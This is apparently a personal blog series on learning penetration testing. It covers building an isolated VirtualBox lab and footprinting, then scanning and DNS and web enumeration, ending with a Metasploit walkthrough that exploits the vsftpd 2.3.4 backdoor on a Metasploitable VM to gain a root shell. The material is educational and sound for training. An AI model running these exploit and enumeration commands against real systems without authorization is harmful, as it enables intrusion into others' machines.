Lab - Take 2

Tis the season to have no spare time to work on fun projects (like pen testing).  Between all the family gatherings and social events I did find some time to to redo the lab.  It's not that it was broken mind you, but it wasn't quite what I wanted.  The previous setup had the attacking and victim systems all in VirtualBox.  Well this works, I have limited resources for the lab and I wanted to build out more victim machines to test against.  Also, I was maintaining a copy of my attack VM's on my laptop and in the virtual lab.  This soon became a daunting task  to keep both copies in sync (or move it between systems).  I thought it would be much nicer to keep the VM's on my laptop (for portability) and still have access into the lab for testing; so that's what I did by adding a VPN.

The Physical - same as last time
I have one system with a dual core Xeon processor, 5 GB of RAM and 150 GB of hard drive space. I know it's fairly dated hardware, but it will be enough for our needs. Of course you can use anything you have, there is no real need to go out and buy something new just for this.

Software - Mostly the same
I'm still running CentOS as the host OS with VirtualBox to host all the guests.  The main difference is that I have removed the BackTrack5 and the Windows XP Attack systems.  In there place I've added a few more victims to 'play' with.  Here's a list of the systems as they stand today.

• Firewall
• DVL (Damn Vulnerable Linux)
• WebServer (WebGoat)
• Metasploitable
• Windows XP
• Windows 2003
• LAMP (Linux, Apache, MySQL, PHP)
• Snort
• ISO (To load a bootable ISO when I want to)

The other main addition is a VPN using OpenVPN on the firewall.  If you've ever looked into using OpenVPN then you might already know you can either deploy a routed or a bridged VPN.  With a routed VPN you are basically adding a new interface to your firewall and treating your VPN clients as if they are on a different network (not truly on the LAN).  Since we want to sniff packets and perform man in the middle attacks, this just wont do.

With a bridged VPN your clients are directly attacked to the LAN at layer 2; now that's more like it.  Now I'm not going to break down every command I used to install and configure OpenVPN (well, not yet anyway) because there is a great tutorial at OpenVPN's site here.  The one thing I will say is that you need to put the network cards for the firewall into promiscuous mode via VirtualBox on the host system (doing this in the guest OS will not work).  Since it took me two days to figure this out, I figured it was worth sharing.

For this change to work you first need to shutdown the firewall VM.  Then simiply runn these commands:

VBoxManage modifyvm Firewall --nicpromisc1 allow-all
VBoxManage modifyvm Firewall --nicpromisc2 allow-all

Now restart the firewall VM and you are good to go.

As time permits over the next week I will be creating a complete document as to how I built everything (step -by-step) so anyone can build a lab.  I'm taking the time to do this because I believe this is a very important step to learning the art of penetration testing.  After all, you wouldn't want to start your career into ethical hacking by being unethical and attacking live systems on the Internet would you?

Michael

Gaining Access Using Metasploit

As promised in my Enumeration post, let's take a look at using Metasploit against our Metasploitable test server.  If you recall the output, there were many vulnerabilities we could attempt to exploit, but let's start off slow and tackle an easy one first.

Of course we will use Metasploit, but more specificity we will use the msfconsole interface.  Why not use the GUI?  Simply put, command line interfaces are easier to automate through scripts, and the goal of any good IT professional is to automate as much as their workload as possible.

So, from your BackTrack 5R2 machine, open a terminal and type:

msfconsole

Depending on the speed of your machine, it could take a minute or two before you see any movement.  This is even more prevalent if you are using a bootable version, so have patience.  Once you get a command prompt back, the easiest way to find an exploit is to search for it using the search command.  Let's pick on vsftpd and see what exploits are available.

msf > search vsftpd

Matching Modules
=================

Name     Disclosure Date  Rank    Description
----     ---------------  ----    -----------
Exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 00:00:00 UTC excellent  VSFTPD v2.3.4 Backdoor Command Execution

A backdoor, that sounds promising, let's use that one.  To do so enter in the following command:

use exploit/unix/ftp/vsftpd_234_backdoor

You will note that your command prompt changes to include the exploit.  To see what options and available type: show options

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unit/ftp/vsftpd_234_backdoor):

Name Current Setting Required  Description
---- --------------- --------  -----------
RHOST   yes   The target address
RPORT 21  yes   The target port

Exploit target:

Id  Name
--  ----
0   Automatic

To see what payloads are available use the show payloads command.

msf exploit(vsftpd_234_backdoor) > show payloads

Compatible Payoads
==================

Name    Disclosure Date  Rank    Description
----    ---------------  ----    -----------
cmd/unix/interact       normal  Unix Command, Interact with Established Connection

Before we can exploit our target we need to set some options and pick a payload.  For this exploit it's fairly straight forward since we only have to set the target IP address and select the only payload we want (you'll note the target port number is already set to 21).

To set the target IP address enter:

set RHOST 192.168.10.107

To set the payload enter:

set payload cmd/unix/interact

And to exploit simply enter:

exploit

If all goes well you should receive some output that looks like this.

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.10.100:51396 -> 192.168.10.107:6200) at 2012-11-26 19:30:23 -0600

You will also note that you do not receive a command prompt back.  This is because you are now on your target system.  To prove this enter in a command like ifconfig. You should see the IP information for your target.  Since we are root, you are now free to do just about anything you want; such as create a user, install a rootkit, start/stop demons, etc.  To get back to the msfconsole interface while leaving the session running, use Ctrl+z.  If you exit or use the Ctrl+C combination you will close the session to your target.

Now this is a very simple exploit that is well documented, so we're definitely not breaking new ground here.  This is just an example of how we can use Metasploit to gain access after finding a vulnerable service during a scan.

Next we'll look a few more advanced options of Metasploit and start digging into some automation.

Until next time, thanks for reading.

Michael

Enumeration - DNS

Given the volume of data I'm uncovering related to enumeration, I wanted to spend a bit more time talking about it.  In this post we'll focus on enumerating DNS.

DNS or Domain Name System, is really in place for us humans.  Computers work much better on numbers and us humans do much better with words, so we need a translator.

With that said there is a wealth of knowledge to be gleamed from DNS.  Here are a few techniques and tools I've been playing with, and I thought you would enjoy too.

Although not a very relevant attack today, one easy vector was to do a DNS zone transfer.  A zone transfer is legitimately used to replicate DNS records from one DNS server to another.  However legitimate, if miss configured it can be abused.

You can test to see if anonymous zone transfers are allowed by using the following command in BackTrack 5R2:  host -al domain_name.com (where domain_name.com is the target domain you are trying to transfer).

One tool I've used to enumerate DNS information is dnsmap.  Dnsmap allows you to automate the mining process by searching for a pre defined list of sub domains (of course you are free to add your own).

To do this on BackTrack5R2 execute :
 /pentest/enumeration/dns/dnsmap/dnsmap domain_name.com (where domain_name is the target you are trying to mine).  The output is clean and well organized for viewing on a screen (a bit clunky for scripting against I would think).

Another great tool I've been looking at is a python script called dnsrecon.py.  Dnsrecon has many more options then dnsmap, however with more options comes more configuration.  Like nmap, we need to sit down and figure out what we want before you start sending queries.  Here's an example I've been playing with:  dnsrecon.py -w -d domain_name.com (this will do a deep whois search and get you IP ranges for your target domain name).

Finally I want to take a quick look at a perl script named dnsenum.pl.  Dnsenum.pl has multiple options, much like dnsrecon.py, but it has one interesting option the other two tools lack; and that's Google scraping.  This allows you to automatically search Google for the domain name and gather those results too.

So in short, don't forget about DNS.  There are a lot of good tools to mine DNS and gain you valuable insight into that domain name.

Michael

Enumeration

Let me start by stating there is a LOT of information related to enumeration.  Due to time restrictions I am going to focus this post on enumerating web servers.

Let's start by taking a deeper look at nmap.  Nmap has a lot of great features for this type of work, but before we start selecting options don't forget to keep the scope of the assessment in mind.  If you are limited by time you may need to speed up you scans, which of course could impact accuracy.  If accuracy can't be sacrificed then you may need to scale back what you scan for.  It's an interesting balancing act when it comes down to it.

Our basic nmap scan was: nmap -n -sT 192.168.10.0/24.  This is great for telling us what hosts and ports are listening, but what about what's behind those ports?  To examine that we need to add the -sV option.  The -sV option will gather the type and version of each service running on each port.  Having the type and version of a given service is going to make our jobs much easier when it comes to exploiting it.

Exercise:
If you're playing along at home, here's a good chance to enumerate the Metasploitable VM.  From BackTrack run the command: nmap -n -sT -sV 192.168.10.107 (where the IP address is the IP of the Metasploitable VM).  Doing so you should get some output like this:

Nmap scan report for 192.168.10.107
Host is up (0.014s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE              VERSION
21/tcp   open  ftp                  vsftpd 2.3.4
22/tcp   open  ssh                  OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet               Linux telnetd
25/tcp   open  smtp                 Postfix smtpd
53/tcp   open  domain               ISC BIND 9.4.2
80/tcp   open  http                 Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind (rpcbind V2) 2 (rpc #100000)
139/tcp  open  netbios-ssn          Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn          Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec                 netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
1099/tcp open  rmiregistry          GNU Classpath grmiregistry
1524/tcp open  ingreslock?
2049/tcp open  nfs (nfs V2-4)       2-4 (rpc #100003)
2121/tcp open  ftp                  ProFTPD 1.3.1
3306/tcp open  mysql                MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql           PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc                  VNC (protocol 3.3)
6000/tcp open  X11                  (access denied)
6667/tcp open  irc                  Unreal ircd
8009/tcp open  ajp13                Apache Jserv (Protocol v1.3)
8180/tcp open  http                 Apache Tomcat/Coyote JSP engine 1.1
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port1524-TCP:V=5.61TEST4%I=7%D=11/5%Time=5097A08B%P=i686-pc-linux-gnu%r
SF:(NULL,17,"root@metasploitable:/#\x20")%r(GenericLines,73,"root@metasplo
SF:itable:/#\x20root@metasploitable:/#\x20root@metasploitable:/#\x20root@m
SF:etasploitable:/#\x20root@metasploitable:/#\x20")%r(GetRequest,827,"root
SF:@metasploitable:/#\x20<HTML>\n<HEAD>\n<TITLE>Directory\x20/</TITLE>\n<B
SF:ASE\x20HREF=\"file:/\">\n</HEAD>\n<BODY>\n<H1>Directory\x20listing\x20o
SF:f\x20/</H1>\n<UL>\n<LI><A\x20HREF=\"\./\">\./</A>\n<LI><A\x20HREF=\"\.\
SF:./\">\.\./</A>\n<LI><A\x20HREF=\"bin/\">bin/</A>\n<LI><A\x20HREF=\"boot
SF:/\">boot/</A>\n<LI><A\x20HREF=\"cdrom/\">cdrom/</A>\n<LI><A\x20HREF=\"d
SF:ev/\">dev/</A>\n<LI><A\x20HREF=\"etc/\">etc/</A>\n<LI><A\x20HREF=\"home
SF:/\">home/</A>\n<LI><A\x20HREF=\"initrd/\">initrd/</A>\n<LI><A\x20HREF=\
SF:"initrd\.img\">initrd\.img</A>\n<LI><A\x20HREF=\"lib/\">lib/</A>\n<LI><
SF:A\x20HREF=\"lost%2Bfound/\">lost\+found/</A>\n<LI><A\x20HREF=\"media/\"
SF:>media/</A>\n<LI><A\x20HREF=\"mnt/\">mnt/</A>\n<LI><A\x20HREF=\"nohup\.
SF:out\">nohup\.out</A>\n<LI><A\x20HREF=\"opt/\">opt/</A>\n<LI><A\x20HREF=
SF:\"proc/\">proc/</A>\n<LI><A\x20HREF=\"root/\">root/</A>\n<LI><A\x20HREF
SF:=\"sbin/\">sbin/</A>\n<LI><A\x20HREF=\"srv/\">srv/</A>\n<LI><A\x20HREF=
SF:\"sys/\">sys/</A>\n<LI><A\x20HREF=\"tmp/\">tmp/</A>\n<LI><A\x20HREF=\"u
SF:sr/\">usr/</A>\n<LI><A\x20HREF=\"var/\">var/</A>\n<LI><A\x20HREF=\"vmli
SF:nuz\">vmlinuz</A>\n<")%r(HTTPOptions,94,"root@metasploitable:/#\x20bash
SF::\x20OPTIONS:\x20command\x20not\x20found\nroot@metasploitable:/#\x20roo
SF:t@metasploitable:/#\x20root@metasploitable:/#\x20root@metasploitable:/#
SF:\x20")%r(RTSPRequest,94,"root@metasploitable:/#\x20bash:\x20OPTIONS:\x2
SF:0command\x20not\x20found\nroot@metasploitable:/#\x20root@metasploitable
SF::/#\x20root@metasploitable:/#\x20root@metasploitable:/#\x20")%r(RPCChec
SF:k,17,"root@metasploitable:/#\x20")%r(DNSVersionBindReq,17,"root@metaspl
SF:oitable:/#\x20")%r(DNSStatusRequest,17,"root@metasploitable:/#\x20")%r(
SF:Help,63,"root@metasploitable:/#\x20bash:\x20HELP:\x20command\x20not\x20
SF:found\nroot@metasploitable:/#\x20root@metasploitable:/#\x20")%r(SSLSess
SF:ionReq,51,"root@metasploitable:/#\x20bash:\x20{O\?G,\x03Sw=:\x20command
SF:\x20not\x20found\nroot@metasploitable:/#\x20");
MAC Address: 08:00:27:FD:06:4F (Cadmus Computer Systems)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.00 seconds

Amounts all the bad things running on this box, you'll find it's got Apache httpd 2.2.8 on port 80, Apache Jserve running on port 8090, and Apache Tomcat listening on 8180.  To enumerate the banners (also known as banner grabbing) we will use Netcat.  Run the following: nc -v 192.168.10.107 80 (where the IP address is the IP of the Metasploitable VM).  After entering the command hit the Enter and then type GET /HTTP/1.1 and then hit Enter a few more times (2 or 3 should be good).  Doing so you should get some output like this:

192.168.10.107: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.10.107] 80 (www) open
get / http/1.1

HTTP/1.1 400 Bad Request
Date: Mon, 05 Nov 2012 14:49:37 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Content-Length: 323
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at metasploitable.localdomain Port 80</address>
</body></html>

Another good tool to use against web servers is nikto.  Nikto will test the web server for dangerous files, directories and general mis-configuration.  To run a basic scan with nikto execute the following command from BackTrack5R2: perl /pentest/web/nikto/nikto.pl -h 192.168.10.107 (where the IP address is the IP of the Metasploitable VM).  Doing so you should get some output like this:

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          192.168.10.107
+ Target Hostname:    192.168.10.107
+ Target Port:        80
+ Start Time:         2012-11-05 06:24:17 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.2.19). Apache 1.3.42 (final release) and 2.0.64 are also current.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3233: /phpinfo.php: Contains PHP configuration information
+ OSVDB-3268: /doc/: Directory indexing found.
+ OSVDB-48: /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3092: /phpMyAdmin/: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /test/: Directory indexing found.
+ OSVDB-3092: /test/: This might be interesting...
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpMyAdmin/: phpMyAdmin directory found
+ 6474 items checked: 3 error(s) and 15 item(s) reported on remote host
+ End Time:           2012-11-05 06:30:07 (GMT-6) (350 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Next time we'll use this output to our advantage and see what we can do using Metasploit.  Until next time, thanks for reading.

Michael

Scanning

Now that we've built a cool playground we call a lab let's have a bit of fun. 

As we talked about in a previous post, footprinting is an important first step.  But now that the recon work is done we can move into scanning / enumeration.  Depending on who you talk to scanning & enumeration can either be put together or become their own topics.  For the sake of this blog I'm going to split them into two different posts.

Let's start by looking at scanning.  When it comes to scanning there are two different types, active and passive.  Active scanning is when you send out some type of prob (packet) to see if a host is online.  You are "actively" engaging the target.  This type of scanning can be done with a verity of tools, the most popular of which is nmap.  Nmap has been with us for years and is always improving, in fact it has so many features there's a book about it.  If you haven't already, I highly recommend checking it out.

But what if nmap isn't available?  This question was put to me recently and it made me think.  I've used nmap for so long I had forgotten about other options.  Well, believe it or not there are other tools out there.  After blowing the cobwebs out of my brain (and a quick research break) I came up with a short list of tools.

Scanner	Linux	Windows	Mac OS-X	Interface	Example
nmap	X	X	X	CLI or GUI	nmap -n -sn 192.168.10.0/24 (ping scan) nmap -n -sT 192.168.10.0/24 (open port scan)
SuperScan	-	X	-	GUI	It's a GUI
NetCat	X	X	X	CLI	nc -zv 192.168.10.107 1-100
ScanLine	-	X	-	CLI	sl -h 192.168.10.1-254 (ping scan) sl -ht 1-100 192.168.10.1-254 (open port scan)
Cain	-	X	-	GUI	It's a GUI

As always, this is not meant to be an all inclusive list (far from it).  These are just a few I thought people might enjoy trying out.

So what about passive scanning?  Passive scanning is when you don't actively send out packets but rather wait until clients talk on the network.  This type of scanning is generally less reliable due to several issues.  The 5 ton elephant here are those darn switches.  By design a switch only sends packets to the port they are destined for.  This makes listing in on conversations difficult, unless you employee something like ARP spoofing.

Even when we overcome any switching issues we'll have to take into account that we're only 'listening' to traffic.  Let's say there's an FTP server running on the same machine as the web server.  If no one ever uses FTP then we might not know it's there.

On the other hand, doing passive scanning can give you a great picture of how the network is used and where data might be stored.

I haven't done a lot of work with passive scanning, but I have played with NetworkMiner.  NetworkMiner is a Windows based tool that was ported to Linux/Unix.  You could also consider using packet capturing software such as Wireshark or TCPDump; of course there might be more work on the back end to figure out what hosts and ports are being used.  Hum, that's an interesting idea.  I wonder if you could make a network mapping extension to TCPDump?


Exercise
Since we've talked about a couple of different tools (and since we have a cool lab to play in) I would recommend trying each scanner in turn.  It's a good idea to understand what each tool is capable of before it's used on a production network.  I would also highly recommend looking through the plethora of options nmap offers.  It's also interesting to fire up Wireshark or TCPDump on your target machine so you can get an idea of what each scanner is actually doing.

The Lab

Before we get into the technical aspects we need a place to work to test out tools and ideas. If we did this on any website it would be called hacking, and we don't want to do that. So, to that end I have created a lab that is sheltered from the Internet (and my normal home network for that matter). Other then some Windows licensing everything else I use is free.

The physical

I have one system with a dual core Xeon processor, 5 GB of RAM and 150 GB of hard drive space. I know it's fairly dated hardware, but it will be enough for our needs. Of course you can use anything you have, there is no real need to go out and buy something new just for this.

Software

I am running CentOS as the main operating system with Virtual Box to host multiple virtual machines (guests). I'm using CentOS because I'm comfortable with it. I've been running Red Hat based systems since it came on floppies, but I digress.

Let's move on to selecting what we want in our lab. Here is my short list of systems I have running; BackTrack5R2, 2 x Windows XP, Metasploitable, DVL (Damn Vulnerable Linux), Linux web server hosting Web Goat, and Windows 2003. I also created a simple VM that I can load a bootable ISO image into.  You may have noticed I have two Windows XP machines running.  This is so I can use one for Windows based tools (as an attacker) and one as a target.

Now that you have an idea as to what operating systems you want to run it's time to build some VMs.  To help maximize hardware resources I do not run a GUI on the hosting server, which means we'll have to set up the VMs from the command line.  Don't worry, it's easier then you think.  In fact here's a quick script I put together to make it even easier.  Of course this is something I wrote with my needs in mind. I would recommend examining each option and tweak it to meet your needs.

#!/bin/bash


# Vars
# -----
LOGFILE="VM_Setup_Log.log"
VMNAME="BackTrack"
OSTYPE="Linux"
HDSIZE="20000" # 20GB
ISOPATH="/VM/ISOs/"
ISONAME="BT5R2-GNOME-32.iso"
VMPORT="5007"
RAM="1024"
BASEFD="/VM/Machines/"
BASEHD="/VM/HardDrives/"
NIC="eth1"



# Build the VM
VBoxManage createvm --name $VMNAME --ostype $OSTYPE --register --basefolder $BASEFD
VBoxManage createhd --filename $BASEHD$VMNAME".vdi" --size $HDSIZE
VBoxManage modifyvm $VMNAME --memory $RAM --acpi on --boot1 dvd --nic1 nat --nictype1 Am79C973 --nic1 bridged --bridgeadapter1 $NIC --cableconnected1 on --pae on --audio none --clipboard disabled --usb off --snapshotfolder $BASEFD$VMNAME"/SnapShots"

VBoxManage storagectl $VMNAME --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach $VMNAME --storagectl "IDE Controller" --port 0 --device 0 --type hdd --medium $BASEHD$VMNAME".vdi"
VBoxManage storageattach $VMNAME --storagectl "IDE Controller" --port 0 --device 1 --type dvddrive --medium $ISOPATH$ISONAME
VBoxManage modifyvm $VMNAME --vrdeport $VMPOR

 

Much like CentOS, I'm utilizing Virtual Box due to my familiarity level. Since I'm not running a GUI on the host (the actual physical server) all VMs run in “headless mode”. This can easily be accomplished by starting the VM from a command line with something like: VBoxHeadless --startvm BackTrack (where BackTrack is the name of your VM).

Tip:  Put an ampersand (&) sign after the command to run it in the background.

 Now that the VM is running in headless mode we need a way to log into it.  Point your remote desktop client (rdesktop on Linux) at the IP address of the host server and the port number you set in the script (the VMPORT variable).  It should look something like rdesktop -g 90% 192.168.1.1:5007.  This will give you access to the console of that virtual machine.

Tip:  Don't forget to allow the ports you use through your host firewall.

And here is what it looks like.  If all has gone well you should now have a basic lab up and running, ready for use to test out tools.

 

Footprinting

Now, assuming all went well in the pre-engagement meeting we should have our scope defined so we can get to work.

The first phase of any pen test is to footprint, or learn about your target.  Depending on the level of testing the client is requesting this could be quick or a quite extensive endeavor.  We'll assume the client has given us little information so we discuss footprinting in a bit more detail.

The easiest way to start would be to do online searching with Google.  Although not directly related to penetration testing, the book "Google Hacking" offers many great examples of how to utilize Google for in depth information gathering.  Other good places to search would be; DNS records, Whois, social media sites, archive sites, career sites, blogs & forums, government sites, and Internet Authority sites.  Each one of these yields different information that could be useful in a pen test.  I don't have time to cover each of these, so I would recommend exploring a few of them on your own.  It should also be noted that this is by no means an exhaustive list of places to look, but it should give you a good starting point.

Other techniques that would fall into the category of footprinting would be; assessing a physical location, dumpster diving for information, and social engineering of employees. Again, I don't have time to cover these at this point (maybe later).

Now, depending on what you find from all your searching you may go down very different paths.  To keep it somewhat simple we'll pick an easier scenario.

Let's say we've been asked to footprint the Acme Corporation to see what information they might have online.  First let's take a look at their corporate site and see what we can find.  Although websites are designed to be viewed online it would be a good idea to pull a copy down to your local system so we can take a closer look at it.  This can be done with a tool or something as simple as utilizing wget from a Linux terminal.

Why pull down the site you ask?  So we can review the code of course.  Like all of us coders have a lot of work to do so they forget things from time to time.  The developer may have left useful comments or other goodies in the code that will give us some insight.

While examining the Acme site we notice there is a careers section.  We see there are a few openings in IT, one of which is for a web developer.  In the posting they are looking for someone with ASP.NET and SharePoint knowledge.  This tells of a few things about their environment right off.  First, it sounds like they're heavy into Microsoft and second they either host or at minimum develop their own sites for internal and external use.  This is important because if we find useful information during our code review of their external site, some of that information could be helpful once we're inside.

Along with the career section on the corporate site we also find several openings listed on other job sites.  This helps us paint a picture of what type of technology they are using.  This may not help us at this point, but will become crucial later when we get inside.

This is an over simplified example, but I hope it helps get the point across.  Footprinting is often over looked or done to quickly.  There is a lot of information out there that people may not be aware of.  This is by no means an all encompassing guide to footprinting a company, this is just the tip of the iceberg.  Having good information will make the testing good better and quicker.  As they say, a little pre planning pays dividends later.

Pre-Engagement

Since we're talking about penetration testing and not hacking, we need to first have a conversation with our client (target) to find out what they want from the test.  Given that we're the good guys we should only be doing this type of testing after we have a customer requesting a test of their systems.

Like most things there are different levels of a penetration test.  It could be as simple as testing a specific set of IP addresses, a single physical location, or even just one web application.  Or the testing could be as complex as performing a full simulation of an attack and do exactly what a real attacker would do.

The complexity will also be guided by how much information the client gives us.  If this is a smaller assessment they may give us all the information we need; username/password, IP addresses, etc.  This would be known as a "white box" test.  On the other end of the spectrum there is what's known as a "black box" test.  In this scenario little to no information is given, and we must go gather all the information ourselves.  The client may also choose to limit the number of internal people who know about the test.  This gives the added advantage of testing their response mechanisms.

Regardless of the complexity of the test, you should require a written and signed document giving us permission to perform these tests.  Since some of our actions can boarder on illegal activities, it is extremely important to have written permission from you customer up front, before beginning any work.

To learn more about pre-engagement activities please see the Penetration Testing Execution Standard.

The Beginning

Why this blog?

I'm starting this blog to document my education into penetration testing. I have been in security for quite a number of years now, but I never had the opportunity to perform a honest to goodness penetration test. I have been taking some classes and doing research into this arena and it appeals to me. So much in fact, that I have decided to dedicate most of my free time to learning more about it.

Given my years of experience I will be assuming the reader has some knowledge or security.  If I talk about a topic or technology you are don't know, please ask.

I have no doubt that there will be mistakes made and challenges to over come, but I'm up to that task. I invite everyone with a desire to learn along for the ride.

Are we going to learn how to hack?

No. This is not going to be a tutorial on how to become a hacker; on the contrary, we will be focusing on penetration testing. Some think of a penetration tester as legal or ethical hacker. Although that might be 'technically' true, there's more to a penetration test. In this blog I hope to cover all aspects on becoming a good penetration tester. This will include things such as; Proper procedures, tools & techniques, and of course creating reports.

What tools will you use?

Good question. Of course there are the staples; BackTrack, BurpSuite, Nmap, Metasploit, Nessus, etc. I plan on covering these for starters, but I have no doubt I'll find new ones along the way. All the tools and code I find or create will be documented here in this blog, free for anyone to use and learn from.